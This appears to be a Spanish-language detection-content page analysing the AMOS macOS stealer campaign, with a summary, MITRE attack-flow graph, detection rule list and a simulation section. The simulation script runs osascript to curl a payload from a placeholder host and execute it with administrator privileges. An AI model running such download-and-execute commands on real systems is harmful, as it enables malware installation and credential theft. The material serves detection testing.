AMOS Stealer Apunta a macOS a Través de Aplicaciones “Crackeadas”
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumen
El informe describe una campaña que distribuye Atomic macOS Stealer (AMOS) disfrazándolo como aplicaciones crackeadas o instruyendo a los usuarios a ejecutar comandos de terminal mediante copiar y pegar. Una vez ejecutado, el malware recopila un amplio conjunto de datos sensibles, incluyendo credenciales, información del navegador, billeteras de criptomonedas, archivos de aplicaciones de mensajería, perfiles de VPN y documentos personales, luego exfiltra el contenido robado a través de HTTP o HTTPS. Para evitar la detección estática, los operadores rotan dominios y URLs a lo largo de la campaña. La actividad está dirigida a usuarios de macOS, particularmente aquellos que buscan software no oficial o pirateado.
Investigación
Se utilizó telemetría de Trend Vision One para reconstruir toda la cadena de infección, comenzando con descargas de aplicaciones crackeadas desde haxmac.cc, seguido de redirección a través de dominios intermediarios, ejecución de scripts de shell maliciosos, creación de launch daemons para persistencia, preparación de datos en /tmp, compresión en archivos ZIP, y exfiltración a dominios controlados por atacantes que rotan. Los investigadores capturaron las líneas de comando relevantes, rutas de archivo e indicadores de comportamiento asociados con cada etapa del compromiso.
Mitigación
Las organizaciones deben educar a los usuarios sobre los riesgos del software crackeado y los comandos de terminal copiar y pegar, hacer cumplir los controles de Gatekeeper y notarización, y limitar la ejecución innecesaria de scripts en sistemas macOS. Los defensores también deben monitorizar la actividad sospechosa de curl and osascript y bloquear el acceso a dominios IPs maliciosos conocidos. Las detecciones en los endpoints deberían centrarse en la creación no autorizada de launch daemon, colocación oculta de archivos y comportamiento inusual de recopilación o exfiltración de archivos.
Respuesta
Si se detecta actividad de AMOS, se debe aislar el endpoint afectado, terminar los procesos maliciosos, eliminar archivos ocultos como .helper, .agent, y com.finder.helper.plist, y borrar cualquier dato preparado para la exfiltración. Las credenciales comprometidas deben ser revocadas, y se debe realizar un análisis forense en los archivos recuperados. La infraestructura maliciosa identificada debe ser bloqueada, y los contenidos de detección deben ser actualizados para monitorizar los patrones de comando observados.
graph TB %% Definiciones de clases classDef action fill:#99ccff classDef tool fill:#cccccc classDef file fill:#ffcc99 classDef process fill:#ff9966 classDef data fill:#ccffcc %% Nodos – Acciones (Técnicas) step1_initial_access_file[«<b>Acción</b> – <b>T1204.002 Ejecución del Usuario: Archivo Malicioso</b><br/>La víctima descarga y ejecuta un archivo .dmg troyanizado disfrazado de una aplicación crackeada.»] class step1_initial_access_file action step2_copy_paste[«<b>Acción</b> – <b>T1204.004 Ejecución del Usuario: Copiado y Pegado Malicioso</b><br/>La víctima copia un comando curl desde una página web en Terminal, lo que descarga y ejecuta install.sh.»] class step2_copy_paste action step3_masquerading[«<b>Acción</b> – <b>T1036 Suplantación</b><br/>El malware se presenta como software crackeado legítimo y páginas falsas de instalación.»] class step3_masquerading action step4_curl_proxy[«<b>Acción</b> – <b>T1218 Ejecución Proxy de Binario del Sistema</b><br/>El binario legítimo curl obtiene scripts maliciosos.»] class step4_curl_proxy action step5_osascript_proxy[«<b>Acción</b> – <b>T1216 Ejecución Proxy de Scripts del Sistema</b><br/>osascript ejecuta una carga útil AppleScript para ejecutar código.»] class step5_osascript_proxy action step6_shell_interpreter[«<b>Acción</b> – <b>T1059.004 Intérprete de Comandos y Scripts: Shell Unix</b><br/>Los comandos shell crean directorios, recopilan archivos e invocan curl para la exfiltración.»] class step6_shell_interpreter action step7_sudo_abuse[«<b>Acción</b> – <b>T1548.003 Abuso del Mecanismo de Elevación de Control: Sudo y Caché de Sudo</b><br/>La contraseña capturada se suministra a sudo para escribir un plist de LaunchDaemon con privilegios root.»] class step7_sudo_abuse action step8_persistence[«<b>Acción</b> – <b>T1569 Servicios del Sistema: LaunchDaemon</b><br/>LaunchDaemon (com.finder.helper.plist) ejecuta el script malicioso .agent durante el arranque del sistema.»] class step8_persistence action step9_defense_evasion[«<b>Acción</b> – <b>T1127 Ejecución Proxy de Utilidades de Desarrollo Confiables</b><br/>Las utilidades de desarrollo de Apple (osascript) se utilizan para ejecutar la carga útil, evadiendo las defensas.»] class step9_defense_evasion action step10_dga[«<b>Acción</b> – <b>T1568.002 Resolución Dinámica: Algoritmos de Generación de Dominios</b><br/>El atacante rota numerosos dominios .cfd y otros dominios para la entrega de cargas útiles.»] class step10_dga action step11_browser_creds[«<b>Acción</b> – <b>T1555.003 Credenciales desde Almacenes de Contraseñas: Navegadores Web</b><br/>Extracción de datos de inicio de sesión y cookies de Chrome, Firefox y Edge.»] class step11_browser_creds action step12_keychain[«<b>Acción</b> – <b>T1555 Credenciales desde Almacenes de Contraseñas</b><br/>Extracción de elementos del Llavero de macOS.»] class step12_keychain action step13_wallet_keys[«<b>Acción</b> – <b>T1552.004 Claves Privadas</b><br/>Robo de archivos de billeteras de criptomonedas.»] class step13_wallet_keys action step14_session_cookies[«<b>Acción</b> – <b>T1550.004 Cookie de Sesión Web</b><br/>Recopilación de cookies de sesión para reutilización posterior.»] class step14_session_cookies action step15_archive[«<b>Acción</b> – <b>T1560 Archivar Datos Recopilados</b><br/>Los archivos recopilados se comprimen en out.zip.»] class step15_archive action step16_compression[«<b>Acción</b> – <b>T1027.015 Compresión</b><br/>Los datos se comprimen antes de la exfiltración (ofuscación).»] class step16_compression action step17_exfil_https[«<b>Acción</b> – <b>T1071.001 Protocolo de Capa de Aplicación: Protocolos Web</b><br/>El archivo comprimido se carga mediante HTTPS POST a un servidor controlado por el atacante.»] class step17_exfil_https action step18_indirect_curl[«<b>Acción</b> – <b>T1202 Ejecución Indirecta de Comandos</b><br/>El comando curl recupera y ejecuta silenciosamente un script remoto.»] class step18_indirect_curl action %% Nodos – Herramientas tool_curl[«<b>Herramienta</b> – <b>Nombre</b>: curl<br/><b>Descripción</b>: Utilidad de línea de comandos para transferir datos mediante URLs.»] class tool_curl tool tool_osascript[«<b>Herramienta</b> – <b>Nombre</b>: osascript<br/><b>Descripción</b>: Ejecuta scripts AppleScript o JavaScript para Automatización.»] class tool_osascript tool tool_sudo[«<b>Herramienta</b> – <b>Nombre</b>: sudo<br/><b>Descripción</b>: Ejecuta comandos con privilegios elevados.»] class tool_sudo tool tool_launchd[«<b>Herramienta</b> – <b>Nombre</b>: launchd<br/><b>Descripción</b>: Administrador de servicios de macOS para cargar LaunchDaemons y agentes.»] class tool_launchd tool %% Nodos – Archivos y Datos file_dmg[«<b>Archivo</b> – <b>Nombre</b>: trojanized.dmg<br/><b>Tipo</b>: Imagen de disco disfrazada como aplicación crackeada»] class file_dmg file file_install_sh[«<b>Archivo</b> – <b>Nombre</b>: install.sh<br/><b>Tipo</b>: Script shell descargado mediante curl»] class file_install_sh file data_out_zip[«<b>Datos</b> – <b>Nombre</b>: out.zip<br/><b>Contenido</b>: Archivos recopilados listos para la exfiltración»] class data_out_zip data %% Conexiones de Flujo step1_initial_access_file –>|descarga y ejecuta| file_dmg file_dmg –>|activa| step1_initial_access_file step1_initial_access_file –>|conduce a| step2_copy_paste step2_copy_paste –>|usa| tool_curl tool_curl –>|descarga| file_install_sh file_install_sh –>|ejecuta| step2_copy_paste step2_copy_paste –>|conduce a| step3_masquerading step3_masquerading –>|habilita| step4_curl_proxy step4_curl_proxy –>|usa| tool_curl tool_curl –>|obtiene| step5_osascript_proxy step5_osascript_proxy –>|usa| tool_osascript tool_osascript –>|ejecuta| step6_shell_interpreter step6_shell_interpreter –>|invoca| step7_sudo_abuse step7_sudo_abuse –>|usa| tool_sudo tool_sudo –>|escribe| step8_persistence step8_persistence –>|gestionado por| tool_launchd tool_launchd –>|ejecuta| step9_defense_evasion step9_defense_evasion –>|facilita| step10_dga step10_dga –>|proporciona| step11_browser_creds step10_dga –>|proporciona| step12_keychain step10_dga –>|proporciona| step13_wallet_keys step10_dga –>|proporciona| step14_session_cookies step11_browser_creds –>|recopilado en| step15_archive step12_keychain –>|recopilado en| step15_archive step13_wallet_keys –>|recopilado en| step15_archive step14_session_cookies –>|recopilado en| step15_archive step15_archive –>|produce| data_out_zip data_out_zip –>|comprimido por| step16_compression step16_compression –>|enviado mediante| step17_exfil_https step17_exfil_https –>|usa| tool_curl tool_curl –>|realiza| step18_indirect_curl step18_indirect_curl –>|completa| step1_initial_access_file %% Estilo class step1_initial_access_file,step2_copy_paste,step3_masquerading,step4_curl_proxy,step5_osascript_proxy,step6_shell_interpreter,step7_sudo_abuse,step8_persistence,step9_defense_evasion,step10_dga,step11_browser_creds,step12_keychain,step13_wallet_keys,step14_session_cookies,step15_archive,step16_compression,step17_exfil_https,step18_indirect_curl action class tool_curl,tool_osascript,tool_sudo,tool_launchd tool class file_dmg,file_install_sh file class data_out_zip data
Flujo de Ataque
Detecciones
Uso Sospechoso de Ditto para Archivar y Exfiltrar Archivos en macOS (vía process_creation)
Ver
Posible Preparación de Múltiples Archivos en el Directorio TMP para Exfiltración (vía file_event)
Ver
Actividad de FileGrabber de Atomic MacOS Stealer
Ver
Posible Copia de Datos de Inicio de Sesión de Chrome al Directorio TMP (vía process_creation)
Ver
IOCs (HashSha1) para detectar: Análisis de la Campaña del AMOS Stealer Dirigida a macOS a través de Aplicaciones ‘Crackeadas’
Ver
IOCs (SourceIP) para detectar: Análisis de la Campaña del AMOS Stealer Dirigida a macOS a través de Aplicaciones ‘Crackeadas’
Ver
IOCs (DestinationIP) para detectar: Análisis de la Campaña del AMOS Stealer Dirigida a macOS a través de Aplicaciones ‘Crackeadas’
Ver
Detección de la Ejecución del AMOS Stealer a través de Comandos de Terminal en macOS [Creación de Procesos en Linux]
Ver
Detección de la Ejecución del AMOS Stealer a través de AppleScript y Curl [Creación de Procesos en Linux]
Ver
Ejecución de Simulación
Prerrequisito: La Verificación de Telemetría y Línea Base Pre-vuelo debe haber sido aprobada.
Justificación: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y la narración DEBEN reflejar directamente los TTPs identificados y apuntar a generar la telemetría exacta esperada por la lógica de detección. Ejemplos abstractos o no relacionados conducirán a diagnósticos erróneos.
-
Narrativa de Ataque y Comandos:
Un adversario ha obtenido un señuelo de phishing que entrega una carga útil de AppleScript corta. El script usaosascriptpara ejecutar un comando de shell (sh -c) que invocacurlpara descargar el binario del AMOS stealer desde un servidor C2 malicioso, lo guarda en el~/Library/Application Support/del usuario, y luego lo ejecuta con permisos elevados. El uso deosascript(un binario firmado por Apple) enmascara la actividad como una automatización legítima, mientras quecurlproporciona una descarga de red sigilosa. -
Script de Prueba de Regresión:
# amos_stealer_simulation.sh # Simula la ejecución del AMOS stealer en macOS usando osascript + curl # 1. Definir URL malicioso (usar un marcador de posición inofensivo por seguridad) MALICIOUS_URL="https://example.com/malicious_payload.sh" # 2. Script de Apple que ejecuta un comando de shell para descargar y ejecutar la carga útil APPLESCRIPT=$(cat <<'EOF' do shell script "sh -c 'curl -s -o /tmp/payload.sh "https://example.com/malicious_payload.sh" && chmod +x /tmp/payload.sh && /tmp/payload.sh'" with administrator privileges EOF ) # 3. Ejecutar el AppleScript a través de osascript echo "$APPLESCRIPT" | osascript # 4. Pausar brevemente para permitir que la carga útil se ejecute sleep 5 -
Comandos de Limpieza:
# cleanup_amos_simulation.sh # Remover los artefactos creados por la simulación # Eliminar la carga útil descargada rm -f /tmp/payload.sh # Revocar cualquier proceso elevado temporal (si todavía está corriendo) pkill -f "/tmp/payload.sh" || true # Opcionalmente, borrar el historial de ejecución del AppleScript # (macOS no retiene un historial persistente para osascript) echo "Limpieza completa."